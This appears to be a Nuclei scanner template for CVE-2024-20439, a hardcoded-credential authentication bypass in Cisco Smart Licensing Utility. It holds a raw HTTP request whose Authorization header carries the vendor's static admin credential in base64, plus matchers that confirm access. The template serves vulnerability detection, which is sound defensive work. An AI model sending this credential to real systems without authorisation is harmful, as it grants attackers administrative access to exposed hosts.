id: CVE-2024-20439

info:
  name: "Cisco Smart Licensing Utility - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A vulnerability in Cisco Smart Licensing Utility (CSLU) could allow an unauthenticated, remote attacker to log
    into an affected system by using a static administrative credential. This vulnerability is due to an
    undocumented static user credential for an administrative account.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-20439&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=cisco&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-20439
    cwe-id: CWE-912
  metadata:
    verified: false
  tags: cve,cve2024,cisco,smart,licensing,auth-bypass,kev,vkev,vuln
http:
  - raw:
      - |
        GET /cslu/v1/scheduler/jobs HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic Y3NsdS13aW5kb3dzLWNsaWVudDpMaWJyYXJ5NEMkTFU=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"job_name":'
          - '"current_status":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200